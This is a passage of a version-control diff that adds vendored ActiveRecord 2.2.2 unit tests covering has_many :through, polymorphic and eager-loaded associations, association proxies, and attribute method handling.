+      assert_equal tagging, post.tagging
+    end
+  end
+
+  def test_include_polymorphic_has_one_defined_in_abstract_parent
+    item    = Item.find_by_id(items(:dvd).id, :include => :tagging)
+    tagging = taggings(:godfather)
+    assert_no_queries do
+      assert_equal tagging, item.tagging
+    end
+  end
+
+  def test_include_polymorphic_has_many_through
+    posts           = Post.find(:all, :order => 'posts.id')
+    posts_with_tags = Post.find(:all, :include => :tags, :order => 'posts.id')
+    assert_equal posts.length, posts_with_tags.length
+    posts.length.times do |i|
+      assert_equal posts[i].tags.length, assert_no_queries { posts_with_tags[i].tags.length }
+    end
+  end
+
+  def test_include_polymorphic_has_many
+    posts               = Post.find(:all, :order => 'posts.id')
+    posts_with_taggings = Post.find(:all, :include => :taggings, :order => 'posts.id')
+    assert_equal posts.length, posts_with_taggings.length
+    posts.length.times do |i|
+      assert_equal posts[i].taggings.length, assert_no_queries { posts_with_taggings[i].taggings.length }
+    end
+  end
+
+  def test_has_many_find_all
+    assert_equal [categories(:general)], authors(:david).categories.find(:all)
+  end
+
+  def test_has_many_find_first
+    assert_equal categories(:general), authors(:david).categories.find(:first)
+  end
+
+  def test_has_many_with_hash_conditions
+    assert_equal categories(:general), authors(:david).categories_like_general.find(:first)
+  end
+
+  def test_has_many_find_conditions
+    assert_equal categories(:general), authors(:david).categories.find(:first, :conditions => "categories.name = 'General'")
+    assert_equal nil, authors(:david).categories.find(:first, :conditions => "categories.name = 'Technology'")
+  end
+
+  def test_has_many_class_methods_called_by_method_missing
+    assert_equal categories(:general), authors(:david).categories.find_all_by_name('General').first
+    assert_equal nil, authors(:david).categories.find_by_name('Technology')
+  end
+
+  def test_has_many_array_methods_called_by_method_missing
+    assert true, authors(:david).categories.any? { |category| category.name == 'General' }
+    assert_nothing_raised { authors(:david).categories.sort }
+  end
+
+  def test_has_many_going_through_join_model_with_custom_foreign_key
+    assert_equal [], posts(:thinking).authors
+    assert_equal [authors(:mary)], posts(:authorless).authors
+  end
+  
+  def test_both_scoped_and_explicit_joins_should_be_respected
+    assert_nothing_raised do
+      Post.send(:with_scope, :find => {:joins => "left outer join comments on comments.id = posts.id"}) do
+        Post.find :all, :select => "comments.id, authors.id", :joins => "left outer join authors on authors.id = posts.author_id"
+      end
+    end
+  end
+
+  def test_belongs_to_polymorphic_with_counter_cache
+    assert_equal 0, posts(:welcome)[:taggings_count]
+    tagging = posts(:welcome).taggings.create(:tag => tags(:general))
+    assert_equal 1, posts(:welcome, :reload)[:taggings_count]
+    tagging.destroy
+    assert posts(:welcome, :reload)[:taggings_count].zero?
+  end
+
+  def test_unavailable_through_reflection
+    assert_raise(ActiveRecord::HasManyThroughAssociationNotFoundError) { authors(:david).nothings }
+  end
+
+  def test_has_many_through_join_model_with_conditions
+    assert_equal [], posts(:welcome).invalid_taggings
+    assert_equal [], posts(:welcome).invalid_tags
+  end
+
+  def test_has_many_polymorphic
+    assert_raise ActiveRecord::HasManyThroughAssociationPolymorphicError do
+      assert_equal posts(:welcome, :thinking), tags(:general).taggables
+    end
+    assert_raise ActiveRecord::EagerLoadPolymorphicError do
+      assert_equal posts(:welcome, :thinking), tags(:general).taggings.find(:all, :include => :taggable, :conditions => 'bogus_table.column = 1')
+    end
+  end
+
+  def test_has_many_polymorphic_with_source_type
+    assert_equal posts(:welcome, :thinking), tags(:general).tagged_posts
+  end
+
+  def test_eager_has_many_polymorphic_with_source_type
+    tag_with_include = Tag.find(tags(:general).id, :include => :tagged_posts)
+    desired = posts(:welcome, :thinking)
+    assert_no_queries do
+      assert_equal desired, tag_with_include.tagged_posts
+    end
+    assert_equal 5, tag_with_include.taggings.length
+  end
+
+  def test_has_many_through_has_many_find_all
+    assert_equal comments(:greetings), authors(:david).comments.find(:all, :order => 'comments.id').first
+  end
+
+  def test_has_many_through_has_many_find_all_with_custom_class
+    assert_equal comments(:greetings), authors(:david).funky_comments.find(:all, :order => 'comments.id').first
+  end
+
+  def test_has_many_through_has_many_find_first
+    assert_equal comments(:greetings), authors(:david).comments.find(:first, :order => 'comments.id')
+  end
+
+  def test_has_many_through_has_many_find_conditions
+    options = { :conditions => "comments.#{QUOTED_TYPE}='SpecialComment'", :order => 'comments.id' }
+    assert_equal comments(:does_it_hurt), authors(:david).comments.find(:first, options)
+  end
+
+  def test_has_many_through_has_many_find_by_id
+    assert_equal comments(:more_greetings), authors(:david).comments.find(2)
+  end
+
+  def test_has_many_through_polymorphic_has_one
+    assert_raise(ActiveRecord::HasManyThroughSourceAssociationMacroError) { authors(:david).tagging }
+  end
+
+  def test_has_many_through_polymorphic_has_many
+    assert_equal taggings(:welcome_general, :thinking_general), authors(:david).taggings.uniq.sort_by { |t| t.id }
+  end
+
+  def test_include_has_many_through_polymorphic_has_many
+    author            = Author.find_by_id(authors(:david).id, :include => :taggings)
+    expected_taggings = taggings(:welcome_general, :thinking_general)
+    assert_no_queries do
+      assert_equal expected_taggings, author.taggings.uniq.sort_by { |t| t.id }
+    end
+  end
+
+  def test_has_many_through_has_many_through
+    assert_raise(ActiveRecord::HasManyThroughSourceAssociationMacroError) { authors(:david).tags }
+  end
+
+  def test_has_many_through_habtm
+    assert_raise(ActiveRecord::HasManyThroughSourceAssociationMacroError) { authors(:david).post_categories }
+  end
+
+  def test_eager_load_has_many_through_has_many
+    author = Author.find :first, :conditions => ['name = ?', 'David'], :include => :comments, :order => 'comments.id'
+    SpecialComment.new; VerySpecialComment.new
+    assert_no_queries do
+      assert_equal [1,2,3,5,6,7,8,9,10], author.comments.collect(&:id)
+    end
+  end
+
+  def test_eager_load_has_many_through_has_many_with_conditions
+    post = Post.find(:first, :include => :invalid_tags)
+    assert_no_queries do
+      post.invalid_tags
+    end
+  end
+
+  def test_eager_belongs_to_and_has_one_not_singularized
+    assert_nothing_raised do
+      Author.find(:first, :include => :author_address)
+      AuthorAddress.find(:first, :include => :author)
+    end
+  end
+
+  def test_self_referential_has_many_through
+    assert_equal [authors(:mary)], authors(:david).favorite_authors
+    assert_equal [],               authors(:mary).favorite_authors
+  end
+
+  def test_add_to_self_referential_has_many_through
+    new_author = Author.create(:name => "Bob")
+    authors(:david).author_favorites.create :favorite_author => new_author
+    assert_equal new_author, authors(:david).reload.favorite_authors.first
+  end
+
+  def test_has_many_through_uses_conditions_specified_on_the_has_many_association
+    author = Author.find(:first)
+    assert !author.comments.blank?
+    assert author.nonexistant_comments.blank?
+  end
+
+  def test_has_many_through_uses_correct_attributes
+    assert_nil posts(:thinking).tags.find_by_name("General").attributes["tag_id"]
+  end
+
+  def test_associating_unsaved_records_with_has_many_through
+    saved_post = posts(:thinking)
+    new_tag = Tag.new(:name => "new")
+
+    saved_post.tags << new_tag
+    assert !new_tag.new_record? #consistent with habtm!
+    assert !saved_post.new_record?
+    assert saved_post.tags.include?(new_tag)
+
+    assert !new_tag.new_record?
+    assert saved_post.reload.tags(true).include?(new_tag)
+
+
+    new_post = Post.new(:title => "Association replacmenet works!", :body => "You best believe it.")
+    saved_tag = tags(:general)
+
+    new_post.tags << saved_tag
+    assert new_post.new_record?
+    assert !saved_tag.new_record?
+    assert new_post.tags.include?(saved_tag)
+
+    new_post.save!
+    assert !new_post.new_record?
+    assert new_post.reload.tags(true).include?(saved_tag)
+
+    assert posts(:thinking).tags.build.new_record?
+    assert posts(:thinking).tags.new.new_record?
+  end
+
+  def test_create_associate_when_adding_to_has_many_through
+    count = posts(:thinking).tags.count
+    push = Tag.create!(:name => 'pushme')
+    post_thinking = posts(:thinking)
+    assert_nothing_raised { post_thinking.tags << push }
+    assert_nil( wrong = post_thinking.tags.detect { |t| t.class != Tag },
+                message = "Expected a Tag in tags collection, got #{wrong.class}.")
+    assert_nil( wrong = post_thinking.taggings.detect { |t| t.class != Tagging },
+                message = "Expected a Tagging in taggings collection, got #{wrong.class}.")
+    assert_equal(count + 1, post_thinking.tags.size)
+    assert_equal(count + 1, post_thinking.tags(true).size)
+
+    assert_kind_of Tag, post_thinking.tags.create!(:name => 'foo')
+    assert_nil( wrong = post_thinking.tags.detect { |t| t.class != Tag },
+                message = "Expected a Tag in tags collection, got #{wrong.class}.")
+    assert_nil( wrong = post_thinking.taggings.detect { |t| t.class != Tagging },
+                message = "Expected a Tagging in taggings collection, got #{wrong.class}.")
+    assert_equal(count + 2, post_thinking.tags.size)
+    assert_equal(count + 2, post_thinking.tags(true).size)
+
+    assert_nothing_raised { post_thinking.tags.concat(Tag.create!(:name => 'abc'), Tag.create!(:name => 'def')) }
+    assert_nil( wrong = post_thinking.tags.detect { |t| t.class != Tag },
+                message = "Expected a Tag in tags collection, got #{wrong.class}.")
+    assert_nil( wrong = post_thinking.taggings.detect { |t| t.class != Tagging },
+                message = "Expected a Tagging in taggings collection, got #{wrong.class}.")
+    assert_equal(count + 4, post_thinking.tags.size)
+    assert_equal(count + 4, post_thinking.tags(true).size)
+
+    # Raises if the wrong reflection name is used to set the Edge belongs_to
+    assert_nothing_raised { vertices(:vertex_1).sinks << vertices(:vertex_5) }
+  end
+
+  def test_has_many_through_collection_size_doesnt_load_target_if_not_loaded
+    author = authors(:david)
+    assert_equal 9, author.comments.size
+    assert !author.comments.loaded?
+  end
+
+  uses_mocha('has_many_through_collection_size_uses_counter_cache_if_it_exists') do
+    def test_has_many_through_collection_size_uses_counter_cache_if_it_exists
+      author = authors(:david)
+      author.stubs(:read_attribute).with('comments_count').returns(100)
+      assert_equal 100, author.comments.size
+      assert !author.comments.loaded?
+    end
+  end
+
+  def test_adding_junk_to_has_many_through_should_raise_type_mismatch
+    assert_raise(ActiveRecord::AssociationTypeMismatch) { posts(:thinking).tags << "Uhh what now?" }
+  end
+
+  def test_adding_to_has_many_through_should_return_self
+    tags = posts(:thinking).tags
+    assert_equal tags, posts(:thinking).tags.push(tags(:general))
+  end
+
+  def test_delete_associate_when_deleting_from_has_many_through_with_nonstandard_id
+    count = books(:awdr).references.count
+    references_before = books(:awdr).references
+    book = Book.create!(:name => 'Getting Real')
+    book_awdr = books(:awdr)
+    book_awdr.references << book
+    assert_equal(count + 1, book_awdr.references(true).size)
+
+    assert_nothing_raised { book_awdr.references.delete(book) }
+    assert_equal(count, book_awdr.references.size)
+    assert_equal(count, book_awdr.references(true).size)
+    assert_equal(references_before.sort, book_awdr.references.sort)
+  end
+
+  def test_delete_associate_when_deleting_from_has_many_through
+    count = posts(:thinking).tags.count
+    tags_before = posts(:thinking).tags
+    tag = Tag.create!(:name => 'doomed')
+    post_thinking = posts(:thinking)
+    post_thinking.tags << tag
+    assert_equal(count + 1, post_thinking.taggings(true).size)
+    assert_equal(count + 1, post_thinking.tags(true).size)
+
+    assert_nothing_raised { post_thinking.tags.delete(tag) }
+    assert_equal(count, post_thinking.tags.size)
+    assert_equal(count, post_thinking.tags(true).size)
+    assert_equal(count, post_thinking.taggings(true).size)
+    assert_equal(tags_before.sort, post_thinking.tags.sort)
+  end
+
+  def test_delete_associate_when_deleting_from_has_many_through_with_multiple_tags
+    count = posts(:thinking).tags.count
+    tags_before = posts(:thinking).tags
+    doomed = Tag.create!(:name => 'doomed')
+    doomed2 = Tag.create!(:name => 'doomed2')
+    quaked = Tag.create!(:name => 'quaked')
+    post_thinking = posts(:thinking)
+    post_thinking.tags << doomed << doomed2
+    assert_equal(count + 2, post_thinking.tags(true).size)
+
+    assert_nothing_raised { post_thinking.tags.delete(doomed, doomed2, quaked) }
+    assert_equal(count, post_thinking.tags.size)
+    assert_equal(count, post_thinking.tags(true).size)
+    assert_equal(tags_before.sort, post_thinking.tags.sort)
+  end
+
+  def test_deleting_junk_from_has_many_through_should_raise_type_mismatch
+    assert_raise(ActiveRecord::AssociationTypeMismatch) { posts(:thinking).tags.delete("Uhh what now?") }
+  end
+
+  def test_has_many_through_sum_uses_calculations
+    assert_nothing_raised { authors(:david).comments.sum(:post_id) }
+  end
+
+  def test_calculations_on_has_many_through_should_disambiguate_fields
+    assert_nothing_raised { authors(:david).categories.maximum(:id) }
+  end
+  
+  def test_calculations_on_has_many_through_should_not_disambiguate_fields_unless_necessary
+    assert_nothing_raised { authors(:david).categories.maximum("categories.id") }
+  end
+
+  def test_has_many_through_has_many_with_sti
+    assert_equal [comments(:does_it_hurt)], authors(:david).special_post_comments
+  end
+
+  def test_uniq_has_many_through_should_retain_order
+    comment_ids = authors(:david).comments.map(&:id)
+    assert_equal comment_ids.sort, authors(:david).ordered_uniq_comments.map(&:id)
+    assert_equal comment_ids.sort.reverse, authors(:david).ordered_uniq_comments_desc.map(&:id)
+  end
+
+  def test_polymorphic_has_many
+    expected = taggings(:welcome_general)
+    p = Post.find(posts(:welcome).id, :include => :taggings)
+    assert_no_queries {assert p.taggings.include?(expected)}
+    assert posts(:welcome).taggings.include?(taggings(:welcome_general))
+  end
+
+  def test_polymorphic_has_one
+    expected = posts(:welcome)
+
+    tagging  = Tagging.find(taggings(:welcome_general).id, :include => :taggable)
+    assert_no_queries { assert_equal expected, tagging.taggable}
+  end
+
+  def test_polymorphic_belongs_to
+    p = Post.find(posts(:welcome).id, :include => {:taggings => :taggable})
+    assert_no_queries {assert_equal posts(:welcome), p.taggings.first.taggable}
+  end
+
+  def test_preload_polymorphic_has_many_through
+    posts           = Post.find(:all, :order => 'posts.id')
+    posts_with_tags = Post.find(:all, :include => :tags, :order => 'posts.id')
+    assert_equal posts.length, posts_with_tags.length
+    posts.length.times do |i|
+      assert_equal posts[i].tags.length, assert_no_queries { posts_with_tags[i].tags.length }
+    end
+  end
+
+  def test_preload_polymorph_many_types
+    taggings = Tagging.find :all, :include => :taggable, :conditions => ['taggable_type != ?', 'FakeModel']
+    assert_no_queries do
+      taggings.first.taggable.id
+      taggings[1].taggable.id
+    end
+
+    taggables = taggings.map(&:taggable)
+    assert taggables.include?(items(:dvd))
+    assert taggables.include?(posts(:welcome))
+  end
+
+  def test_preload_nil_polymorphic_belongs_to
+    assert_nothing_raised do
+      taggings = Tagging.find(:all, :include => :taggable, :conditions => ['taggable_type IS NULL'])
+    end
+  end
+
+  def test_preload_polymorphic_has_many
+    posts               = Post.find(:all, :order => 'posts.id')
+    posts_with_taggings = Post.find(:all, :include => :taggings, :order => 'posts.id')
+    assert_equal posts.length, posts_with_taggings.length
+    posts.length.times do |i|
+      assert_equal posts[i].taggings.length, assert_no_queries { posts_with_taggings[i].taggings.length }
+    end
+  end
+
+  def test_belongs_to_shared_parent
+    comments = Comment.find(:all, :include => :post, :conditions => 'post_id = 1')
+    assert_no_queries do
+      assert_equal comments.first.post, comments[1].post
+    end
+  end
+
+  def test_has_many_through_include_uses_array_include_after_loaded
+    david = authors(:david)
+    david.categories.class # force load target
+
+    category = david.categories.first
+
+    assert_no_queries do
+      assert david.categories.loaded?
+      assert david.categories.include?(category)
+    end
+  end
+
+  def test_has_many_through_include_checks_if_record_exists_if_target_not_loaded
+    david = authors(:david)
+    category = david.categories.first
+
+    david.reload
+    assert ! david.categories.loaded?
+    assert_queries(1) do
+      assert david.categories.include?(category)
+    end
+    assert ! david.categories.loaded?
+  end
+  
+  def test_has_many_through_include_returns_false_for_non_matching_record_to_verify_scoping
+    david = authors(:david)
+    category = Category.create!(:name => 'Not Associated')
+
+    assert ! david.categories.loaded?
+    assert ! david.categories.include?(category)
+  end
+
+  def test_has_many_through_goes_through_all_sti_classes
+    sub_sti_post = SubStiPost.create!(:title => 'test', :body => 'test', :author_id => 1)
+    new_comment = sub_sti_post.comments.create(:body => 'test')
+
+    assert_equal [9, 10, new_comment.id], authors(:david).sti_post_comments.map(&:id).sort
+  end
+
+  private
+    # create dynamic Post models to allow different dependency options
+    def find_post_with_dependency(post_id, association, association_name, dependency)
+      class_name = "PostWith#{association.to_s.classify}#{dependency.to_s.classify}"
+      Post.find(post_id).update_attribute :type, class_name
+      klass = Object.const_set(class_name, Class.new(ActiveRecord::Base))
+      klass.set_table_name 'posts'
+      klass.send(association, association_name, :as => :taggable, :dependent => dependency)
+      klass.find(post_id)
+    end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/associations_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/associations_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/associations_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,262 @@
+require "cases/helper"
+require 'models/developer'
+require 'models/project'
+require 'models/company'
+require 'models/topic'
+require 'models/reply'
+require 'models/computer'
+require 'models/customer'
+require 'models/order'
+require 'models/categorization'
+require 'models/category'
+require 'models/post'
+require 'models/author'
+require 'models/comment'
+require 'models/tag'
+require 'models/tagging'
+require 'models/person'
+require 'models/reader'
+require 'models/parrot'
+require 'models/pirate'
+require 'models/treasure'
+require 'models/price_estimate'
+require 'models/club'
+require 'models/member'
+require 'models/membership'
+require 'models/sponsor'
+
+class AssociationsTest < ActiveRecord::TestCase
+  fixtures :accounts, :companies, :developers, :projects, :developers_projects,
+           :computers, :people, :readers
+
+  def test_include_with_order_works
+    assert_nothing_raised {Account.find(:first, :order => 'id', :include => :firm)}
+    assert_nothing_raised {Account.find(:first, :order => :id, :include => :firm)}
+  end
+
+  def test_bad_collection_keys
+    assert_raise(ArgumentError, 'ActiveRecord should have barked on bad collection keys') do
+      Class.new(ActiveRecord::Base).has_many(:wheels, :name => 'wheels')
+    end
+  end
+
+  def test_should_construct_new_finder_sql_after_create
+    person = Person.new :first_name => 'clark'
+    assert_equal [], person.readers.find(:all)
+    person.save!
+    reader = Reader.create! :person => person, :post => Post.new(:title => "foo", :body => "bar")
+    assert person.readers.find(reader.id)
+  end
+
+  def test_force_reload
+    firm = Firm.new("name" => "A New Firm, Inc")
+    firm.save
+    firm.clients.each {|c|} # forcing to load all clients
+    assert firm.clients.empty?, "New firm shouldn't have client objects"
+    assert_equal 0, firm.clients.size, "New firm should have 0 clients"
+
+    client = Client.new("name" => "TheClient.com", "firm_id" => firm.id)
+    client.save
+
+    assert firm.clients.empty?, "New firm should have cached no client objects"
+    assert_equal 0, firm.clients.size, "New firm should have cached 0 clients count"
+
+    assert !firm.clients(true).empty?, "New firm should have reloaded client objects"
+    assert_equal 1, firm.clients(true).size, "New firm should have reloaded clients count"
+  end
+
+  def test_storing_in_pstore
+    require "tmpdir"
+    store_filename = File.join(Dir.tmpdir, "ar-pstore-association-test")
+    File.delete(store_filename) if File.exist?(store_filename)
+    require "pstore"
+    apple = Firm.create("name" => "Apple")
+    natural = Client.new("name" => "Natural Company")
+    apple.clients << natural
+
+    db = PStore.new(store_filename)
+    db.transaction do
+      db["apple"] = apple
+    end
+
+    db = PStore.new(store_filename)
+    db.transaction do
+      assert_equal "Natural Company", db["apple"].clients.first.name
+    end
+  end
+end
+
+class AssociationProxyTest < ActiveRecord::TestCase
+  fixtures :authors, :posts, :categorizations, :categories, :developers, :projects, :developers_projects
+
+  def test_proxy_accessors
+    welcome = posts(:welcome)
+    assert_equal  welcome, welcome.author.proxy_owner
+    assert_equal  welcome.class.reflect_on_association(:author), welcome.author.proxy_reflection
+    welcome.author.class  # force load target
+    assert_equal  welcome.author, welcome.author.proxy_target
+
+    david = authors(:david)
+    assert_equal  david, david.posts.proxy_owner
+    assert_equal  david.class.reflect_on_association(:posts), david.posts.proxy_reflection
+    david.posts.class   # force load target
+    assert_equal  david.posts, david.posts.proxy_target
+
+    assert_equal  david, david.posts_with_extension.testing_proxy_owner
+    assert_equal  david.class.reflect_on_association(:posts_with_extension), david.posts_with_extension.testing_proxy_reflection
+    david.posts_with_extension.class   # force load target
+    assert_equal  david.posts_with_extension, david.posts_with_extension.testing_proxy_target
+  end
+
+  def test_push_does_not_load_target
+    david = authors(:david)
+
+    david.posts << (post = Post.new(:title => "New on Edge", :body => "More cool stuff!"))
+    assert !david.posts.loaded?
+    assert david.posts.include?(post)
+  end
+
+  def test_push_has_many_through_does_not_load_target
+    david = authors(:david)
+
+    david.categories << categories(:technology)
+    assert !david.categories.loaded?
+    assert david.categories.include?(categories(:technology))
+  end
+
+  def test_push_followed_by_save_does_not_load_target
+    david = authors(:david)
+
+    david.posts << (post = Post.new(:title => "New on Edge", :body => "More cool stuff!"))
+    assert !david.posts.loaded?
+    david.save
+    assert !david.posts.loaded?
+    assert david.posts.include?(post)
+  end
+
+  def test_push_does_not_lose_additions_to_new_record
+    josh = Author.new(:name => "Josh")
+    josh.posts << Post.new(:title => "New on Edge", :body => "More cool stuff!")
+    assert josh.posts.loaded?
+    assert_equal 1, josh.posts.size
+  end
+
+  def test_save_on_parent_does_not_load_target
+    david = developers(:david)
+
+    assert !david.projects.loaded?
+    david.update_attribute(:created_at, Time.now)
+    assert !david.projects.loaded?
+  end
+
+  def test_inspect_does_not_reload_a_not_yet_loaded_target
+    andreas = Developer.new :name => 'Andreas', :log => 'new developer added'
+    assert !andreas.audit_logs.loaded?
+    assert_match(/message: "new developer added"/, andreas.audit_logs.inspect)
+  end
+
+  def test_save_on_parent_saves_children
+    developer = Developer.create :name => "Bryan", :salary => 50_000
+    assert_equal 1, developer.reload.audit_logs.size
+  end
+
+  def test_create_via_association_with_block
+    post = authors(:david).posts.create(:title => "New on Edge") {|p| p.body = "More cool stuff!"}
+    assert_equal post.title, "New on Edge"
+    assert_equal post.body, "More cool stuff!"
+  end
+
+  def test_create_with_bang_via_association_with_block
+    post = authors(:david).posts.create!(:title => "New on Edge") {|p| p.body = "More cool stuff!"}
+    assert_equal post.title, "New on Edge"
+    assert_equal post.body, "More cool stuff!"
+  end
+
+  def test_failed_reload_returns_nil
+    p = setup_dangling_association
+    assert_nil p.author.reload
+  end
+
+  def test_failed_reset_returns_nil
+    p = setup_dangling_association
+    assert_nil p.author.reset
+  end
+
+  def test_reload_returns_assocition
+    david = developers(:david)
+    assert_nothing_raised do
+      assert_equal david.projects, david.projects.reload.reload
+    end
+  end
+
+  def setup_dangling_association
+    josh = Author.create(:name => "Josh")
+    p = Post.create(:title => "New on Edge", :body => "More cool stuff!", :author => josh)
+    josh.destroy
+    p
+  end
+end
+
+class OverridingAssociationsTest < ActiveRecord::TestCase
+  class Person < ActiveRecord::Base; end
+  class DifferentPerson < ActiveRecord::Base; end
+
+  class PeopleList < ActiveRecord::Base
+    has_and_belongs_to_many :has_and_belongs_to_many, :before_add => :enlist
+    has_many :has_many, :before_add => :enlist
+    belongs_to :belongs_to
+    has_one :has_one
+  end
+
+  class DifferentPeopleList < PeopleList
+    # Different association with the same name, callbacks should be omitted here.
+    has_and_belongs_to_many :has_and_belongs_to_many, :class_name => 'DifferentPerson'
+    has_many :has_many, :class_name => 'DifferentPerson'
+    belongs_to :belongs_to, :class_name => 'DifferentPerson'
+    has_one :has_one, :class_name => 'DifferentPerson'
+  end
+
+  def test_habtm_association_redefinition_callbacks_should_differ_and_not_inherited
+    # redeclared association on AR descendant should not inherit callbacks from superclass
+    callbacks = PeopleList.read_inheritable_attribute(:before_add_for_has_and_belongs_to_many)
+    assert_equal([:enlist], callbacks)
+    callbacks = DifferentPeopleList.read_inheritable_attribute(:before_add_for_has_and_belongs_to_many)
+    assert_equal([], callbacks)
+  end
+
+  def test_has_many_association_redefinition_callbacks_should_differ_and_not_inherited
+    # redeclared association on AR descendant should not inherit callbacks from superclass
+    callbacks = PeopleList.read_inheritable_attribute(:before_add_for_has_many)
+    assert_equal([:enlist], callbacks)
+    callbacks = DifferentPeopleList.read_inheritable_attribute(:before_add_for_has_many)
+    assert_equal([], callbacks)
+  end
+
+  def test_habtm_association_redefinition_reflections_should_differ_and_not_inherited
+    assert_not_equal(
+      PeopleList.reflect_on_association(:has_and_belongs_to_many),
+      DifferentPeopleList.reflect_on_association(:has_and_belongs_to_many)
+    )
+  end
+
+  def test_has_many_association_redefinition_reflections_should_differ_and_not_inherited
+    assert_not_equal(
+      PeopleList.reflect_on_association(:has_many),
+      DifferentPeopleList.reflect_on_association(:has_many)
+    )
+  end
+
+  def test_belongs_to_association_redefinition_reflections_should_differ_and_not_inherited
+    assert_not_equal(
+      PeopleList.reflect_on_association(:belongs_to),
+      DifferentPeopleList.reflect_on_association(:belongs_to)
+    )
+  end
+
+  def test_has_one_association_redefinition_reflections_should_differ_and_not_inherited
+    assert_not_equal(
+      PeopleList.reflect_on_association(:has_one),
+      DifferentPeopleList.reflect_on_association(:has_one)
+    )
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/attribute_methods_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/attribute_methods_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/attribute_methods_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,293 @@
+require "cases/helper"
+require 'models/topic'
+require 'models/minimalistic'
+
+class AttributeMethodsTest < ActiveRecord::TestCase
+  fixtures :topics
+  def setup
+    @old_suffixes = ActiveRecord::Base.send(:attribute_method_suffixes).dup
+    @target = Class.new(ActiveRecord::Base)
+    @target.table_name = 'topics'
+  end
+
+  def teardown
+    ActiveRecord::Base.send(:attribute_method_suffixes).clear
+    ActiveRecord::Base.attribute_method_suffix *@old_suffixes
+  end
+
+  def test_match_attribute_method_query_returns_match_data
+    assert_not_nil md = @target.match_attribute_method?('title=')
+    assert_equal 'title', md.pre_match
+    assert_equal ['='], md.captures
+
+    %w(_hello_world ist! _maybe?).each do |suffix|
+      @target.class_eval "def attribute#{suffix}(*args) args end"
+      @target.attribute_method_suffix suffix
+
+      assert_not_nil md = @target.match_attribute_method?("title#{suffix}")
+      assert_equal 'title', md.pre_match
+      assert_equal [suffix], md.captures
+    end
+  end
+
+  def test_declared_attribute_method_affects_respond_to_and_method_missing
+    topic = @target.new(:title => 'Budget')
+    assert topic.respond_to?('title')
+    assert_equal 'Budget', topic.title
+    assert !topic.respond_to?('title_hello_world')
+    assert_raise(NoMethodError) { topic.title_hello_world }
+
+    %w(_hello_world _it! _candidate= able?).each do |suffix|
+      @target.class_eval "def attribute#{suffix}(*args) args end"
+      @target.attribute_method_suffix suffix
+
+      meth = "title#{suffix}"
+      assert topic.respond_to?(meth)
+      assert_equal ['title'], topic.send(meth)
+      assert_equal ['title', 'a'], topic.send(meth, 'a')
+      assert_equal ['title', 1, 2, 3], topic.send(meth, 1, 2, 3)
+    end
+  end
+
+  def test_should_unserialize_attributes_for_frozen_records
+    myobj = {:value1 => :value2}
+    topic = Topic.create("content" => myobj)
+    topic.freeze
+    assert_equal myobj, topic.content
+  end
+
+  def test_kernel_methods_not_implemented_in_activerecord
+    %w(test name display y).each do |method|
+      assert !ActiveRecord::Base.instance_method_already_implemented?(method), "##{method} is defined"
+    end
+  end
+
+  def test_primary_key_implemented
+    assert Class.new(ActiveRecord::Base).instance_method_already_implemented?('id')
+  end
+
+  def test_defined_kernel_methods_implemented_in_model
+    %w(test name display y).each do |method|
+      klass = Class.new ActiveRecord::Base
+      klass.class_eval "def #{method}() 'defined #{method}' end"
+      assert klass.instance_method_already_implemented?(method), "##{method} is not defined"
+    end
+  end
+
+  def test_defined_kernel_methods_implemented_in_model_abstract_subclass
+    %w(test name display y).each do |method|
+      abstract = Class.new ActiveRecord::Base
+      abstract.class_eval "def #{method}() 'defined #{method}' end"
+      abstract.abstract_class = true
+      klass = Class.new abstract
+      assert klass.instance_method_already_implemented?(method), "##{method} is not defined"
+    end
+  end
+
+  def test_raises_dangerous_attribute_error_when_defining_activerecord_method_in_model
+    %w(save create_or_update).each do |method|
+      klass = Class.new ActiveRecord::Base
+      klass.class_eval "def #{method}() 'defined #{method}' end"
+      assert_raises ActiveRecord::DangerousAttributeError do
+        klass.instance_method_already_implemented?(method)
+      end
+    end
+  end
+
+  def test_only_time_related_columns_are_meant_to_be_cached_by_default
+    expected = %w(datetime timestamp time date).sort
+    assert_equal expected, ActiveRecord::Base.attribute_types_cached_by_default.map(&:to_s).sort
+  end
+
+  def test_declaring_attributes_as_cached_adds_them_to_the_attributes_cached_by_default
+    default_attributes = Topic.cached_attributes
+    Topic.cache_attributes :replies_count
+    expected = default_attributes + ["replies_count"]
+    assert_equal expected.sort, Topic.cached_attributes.sort
+    Topic.instance_variable_set "@cached_attributes", nil
+  end
+
+  def test_time_related_columns_are_actually_cached
+    column_types = %w(datetime timestamp time date).map(&:to_sym)
+    column_names = Topic.columns.select{|c| column_types.include?(c.type) }.map(&:name)
+
+    assert_equal column_names.sort, Topic.cached_attributes.sort
+    assert_equal time_related_columns_on_topic.sort, Topic.cached_attributes.sort
+  end
+
+  def test_accessing_cached_attributes_caches_the_converted_values_and_nothing_else
+    t = topics(:first)
+    cache = t.instance_variable_get "@attributes_cache"
+
+    assert_not_nil cache
+    assert cache.empty?
+
+    all_columns = Topic.columns.map(&:name)
+    cached_columns = time_related_columns_on_topic
+    uncached_columns =  all_columns - cached_columns
+
+    all_columns.each do |attr_name|
+      attribute_gets_cached = Topic.cache_attribute?(attr_name)
+      val = t.send attr_name unless attr_name == "type"
+      if attribute_gets_cached
+        assert cached_columns.include?(attr_name)
+        assert_equal val, cache[attr_name]
+      else
+        assert uncached_columns.include?(attr_name)
+        assert !cache.include?(attr_name)
+      end
+    end
+  end
+
+  def test_time_attributes_are_retrieved_in_current_time_zone
+    in_time_zone "Pacific Time (US & Canada)" do
+      utc_time = Time.utc(2008, 1, 1)
+      record   = @target.new
+      record[:written_on] = utc_time
+      assert_equal utc_time, record.written_on # record.written on is equal to (i.e., simultaneous with) utc_time
+      assert_kind_of ActiveSupport::TimeWithZone, record.written_on # but is a TimeWithZone
+      assert_equal ActiveSupport::TimeZone["Pacific Time (US & Canada)"], record.written_on.time_zone # and is in the current Time.zone
